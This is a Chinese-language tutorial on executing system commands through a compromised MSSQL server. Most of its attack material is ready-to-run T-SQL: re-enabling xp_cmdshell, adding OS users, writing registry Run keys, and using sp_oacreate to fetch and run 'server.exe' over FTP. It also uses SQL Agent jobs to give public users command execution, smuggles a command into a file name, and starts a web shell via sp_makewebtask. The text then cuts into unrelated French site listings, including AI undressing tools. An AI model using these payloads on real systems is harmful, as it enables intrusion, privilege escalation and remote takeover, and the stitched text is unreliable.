怎样在MSSQL执行命令
假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接 能有哪些办法加一个系统管理员用户呢(或是执行系统命令) 1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add' 人人都知道的办法,最大的好处是有回显,但是最怕 if exists (select * from dbo.
假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接
能有哪些办法加一个系统管理员用户呢(或是执行系统命令)
1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add'
人人都知道的办法,最大的好处是有回显,但是最怕
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
通过上面的T-SQL语句就可以把这个扩展储存删了
我们一般可以用
2k:
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
SQL97:
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xpsql70.dll'
就还原了.
但是有的人知道sp_addextendedproc也只不过是一个储存过程一样可以删除的
Drop PROCEDURE sp_addextendedproc
if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
还原:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
/*
** Create the extended procedure mapping.
*/
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
呀呀写了这么多其实有个最简单的保护办法:
先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)删了
再把服务打开就可以了
2)看了上面的你就明白了xp_cmdshell最终是可以被删除的没别的办法了吗?
有写注册表三:
xp_regwrite 'HKEY_LOCAL_MacHINE','SOFTWAREMicrosoftWindowscurrentversionrun', 'czy82','REG_SZ', net user czy bb /add
其实注册表还有好几个地方可以写的比如说注册表中的WEB浏览设置
用写注册表的办法不好的地方是不但没有回显而且不能马上运行实不实用我也不知道了
3)
declare @s int
exec sp_oacreate "wscript.shell",@s out
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open ASP.7i24.com>c:a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:a.txt"
exec sp_oamethod @s,"run",NULL,"cmd.exe /c server"
对了正如你看到的我们还可以使用sp_oacreate和sp_oamethod在它们的作用下我们可以
调用系统的控件比如说fso,wsh,shell什么的,但是有个问题是并不能象xp_cmdshell那样
马上看到结果真的不能吗看下面的:
declare @s int,@o int ,@f int,@str nvarchar(4000)
/*exec sp_oacreate "wscript.shell",@s out
exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c:temp.txt"*/
exec sp_oacreate "scripting.filesystemobject", @o out
exec sp_oamethod @o, "opentextfile", @f out,"c:temp.txt", 1
exec sp_oamethod @f, "readall",@str out
print @str
先执行注解内的然后执行外面的其实原理很简单就是利用>把结果写到一个文件中然后用
fso来读出来!很实用的
4)
use msdb; --这儿不要是master哟
exec sp_add_job @job_name='czy82';
exec sp_add_jobstep @job_name='czy82',@step_name = 'Exec my sql',@subsystem='CMDEXEC',@command='dir c:>c:b.txt';
exec sp_add_jobserver @job_name = 'czy82',@server_name = 'smscomputer';
exec sp_start_job @job_name='czy82';
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql后面的我们就可以
执行tsql语句了.
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
net start SQLSERVERAGENT
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user Access to
xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = '你的SQL的服务器名'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
不要怀疑上面的代码我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
才让我们可以以public执行xp_cmdshell
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
在安焦有文章:?vul_id=2968
USE msdb
EXEC sp_add_job @job_name = 'ArbitraryFileCreate',
@enabled = 1,
@description = 'This will create a file called c:sqlafc123.txt',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',
@step_name = 'SQLA
FC',
@subsystem = 'TSQL',
@command = 'select ''hello, this file was created by the SQL Agent.''',
@output_file_name = 'c:sqlafc123.txt'
EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'ArbitraryFileCreate'
如果subsystem选的是:tsql在生成的文件的头部有如下内容
??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
----------------------------------------------
hello, this file was created by the SQL Agent.
(1 ?????)
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
命令的VBs文件到启动目录!
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
关于sp_MScopyscriptfile 看下面的例子
declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command='dir c: > "attackeripsharedir.txt"'
select @scripfile='c:autoexec.bat > nul" | ' + @command + ' | rd "'
exec sp_MScopyscriptfile @scripfile ,''
这两个东东都还在测试试哟
让MSSQL的public用户得到一个本机的web shell:)
sp_makewebtask @outputfile='d:smsa.asp',@charset=gb2312,
--@query='select '''''
--@query='select '''' '
@query='select ''
" method="POST">
,
Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

AI Hentai Generator
Générez AI Hentai gratuitement.

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds

La commande sudo permet aux utilisateurs d'exécuter des commandes en mode privilèges élevés sans passer en mode superutilisateur. Cet article explique comment simuler des fonctions similaires aux commandes sudo dans les systèmes Windows. Qu'est-ce que la commande Shudao ? Sudo (abréviation de « superuser do ») est un outil de ligne de commande qui permet aux utilisateurs de systèmes d'exploitation Unix tels que Linux et MacOS d'exécuter des commandes avec des privilèges élevés généralement détenus par les administrateurs. Exécution de commandes SUDO sous Windows 11/10 Cependant, avec le lancement de la dernière version préliminaire de Windows 11 Insider, les utilisateurs de Windows peuvent désormais profiter de cette fonctionnalité. Cette nouvelle fonctionnalité permet aux utilisateurs de

Cet article expliquera aux lecteurs comment utiliser l'invite de commande (CommandPrompt) pour trouver l'adresse physique (adresse MAC) de la carte réseau dans le système Win11. Une adresse MAC est un identifiant unique pour une carte d'interface réseau (NIC), qui joue un rôle important dans les communications réseau. Grâce à l'invite de commande, les utilisateurs peuvent facilement obtenir les informations d'adresse MAC de toutes les cartes réseau de l'ordinateur actuel, ce qui est très utile pour le dépannage du réseau, la configuration des paramètres réseau et d'autres tâches. Méthode 1 : utilisez « Invite de commandes » 1. Appuyez sur la combinaison de touches [Win+X], ou [cliquez avec le bouton droit], cliquez sur le [logo Windows] dans la barre des tâches, et dans l'élément de menu qui s'ouvre, sélectionnez [Exécuter] ; . Exécutez la fenêtre, entrez la commande [cmd], puis.

Dans le système Win11, vous pouvez activer ou désactiver le mode de session amélioré Hyper-V via des commandes. Cet article expliquera comment utiliser les commandes pour fonctionner et aidera les utilisateurs à mieux gérer et contrôler les fonctions Hyper-V dans le système. Hyper-V est une technologie de virtualisation fournie par Microsoft. Elle est intégrée à Windows Server et Windows 10 et 11 (sauf Home Edition), permettant aux utilisateurs d'exécuter des systèmes d'exploitation virtuels sur les systèmes Windows. Bien que les machines virtuelles soient isolées du système d'exploitation hôte, elles peuvent toujours utiliser les ressources de l'hôte, telles que les cartes son et les périphériques de stockage, via les paramètres. L'un des paramètres clés consiste à activer le mode de session améliorée. Le mode de session amélioré est Hyper

Ubuntu est un système d'exploitation open source populaire couramment utilisé pour exécuter des serveurs. L'installation de PHP et la configuration des connexions MSSQL sur Ubuntu sont l'une des opérations que de nombreux développeurs et administrateurs système doivent souvent effectuer. Cet article fournira aux lecteurs un guide détaillé, comprenant les étapes pour installer PHP, configurer Apache, installer MSSQLServer, etc., et joindre des exemples de code spécifiques. Étape 1 : Installer PHP et les extensions associées. Tout d'abord, nous devons installer PHP et les extensions associées pour prendre en charge les connexions PHP.

1. Présentation La commande sar affiche les rapports d'utilisation du système grâce aux données collectées à partir des activités du système. Ces rapports sont composés de différentes sections, chacune contenant le type de données et la date à laquelle les données ont été collectées. Le mode par défaut de la commande sar affiche l'utilisation du processeur à différents incréments de temps pour diverses ressources accédant au processeur (telles que les utilisateurs, les systèmes, les planificateurs d'E/S, etc.). De plus, il affiche le pourcentage de CPU inactif pour une période de temps donnée. La valeur moyenne de chaque point de données est répertoriée au bas du rapport. sar rapporte des données collectées toutes les 10 minutes par défaut, mais vous pouvez utiliser diverses options pour filtrer et ajuster ces rapports. Semblable à la commande uptime, la commande sar peut également vous aider à surveiller la charge du processeur. Grâce à sar, vous pouvez comprendre l'apparition d'une charge excessive

Quelle est la bonne façon de redémarrer un service sous Linux ? Lors de l'utilisation d'un système Linux, nous rencontrons souvent des situations dans lesquelles nous devons redémarrer un certain service, mais nous pouvons parfois rencontrer des problèmes lors du redémarrage du service, comme le fait que le service ne s'arrête ou ne démarre pas réellement. Par conséquent, il est très important de maîtriser la bonne manière de redémarrer les services. Sous Linux, vous pouvez généralement utiliser la commande systemctl pour gérer les services système. La commande systemctl fait partie du gestionnaire système systemd

LSOF (ListOpenFiles) est un outil de ligne de commande principalement utilisé pour surveiller les ressources système similaires aux systèmes d'exploitation Linux/Unix. Grâce à la commande LSOF, les utilisateurs peuvent obtenir des informations détaillées sur les fichiers actifs dans le système et les processus qui accèdent à ces fichiers. LSOF peut aider les utilisateurs à identifier les processus occupant actuellement les ressources de fichiers, gérant ainsi mieux les ressources système et résolvant les problèmes possibles. LSOF est puissant et flexible et peut aider les administrateurs système à localiser rapidement les problèmes liés aux fichiers, tels que les fuites de fichiers, les descripteurs de fichiers non fermés, etc. Via la commande LSOF L'outil de ligne de commande LSOF permet aux administrateurs système et aux développeurs de : Déterminer quels processus utilisent actuellement un fichier ou un port spécifique, en cas de conflit de port.

Linux est un système d'exploitation puissant qui fournit de nombreux mécanismes de communication inter-processus efficaces, tels que des canaux, des signaux, des files d'attente de messages, une mémoire partagée, etc. Mais existe-t-il un moyen de communication plus simple, plus flexible et plus efficace ? La réponse est oui, c'est eventfd. eventfd est un appel système introduit dans Linux version 2.6. Il peut être utilisé pour implémenter la notification d'événements, c'est-à-dire pour transmettre des événements via un descripteur de fichier. eventfd contient un compteur entier non signé de 64 bits géré par le noyau. Le processus peut lire/modifier la valeur du compteur en lisant/écrivant ce descripteur de fichier pour établir une communication inter-processus. Quels sont les avantages d’eventfd ? Il a les caractéristiques suivantes
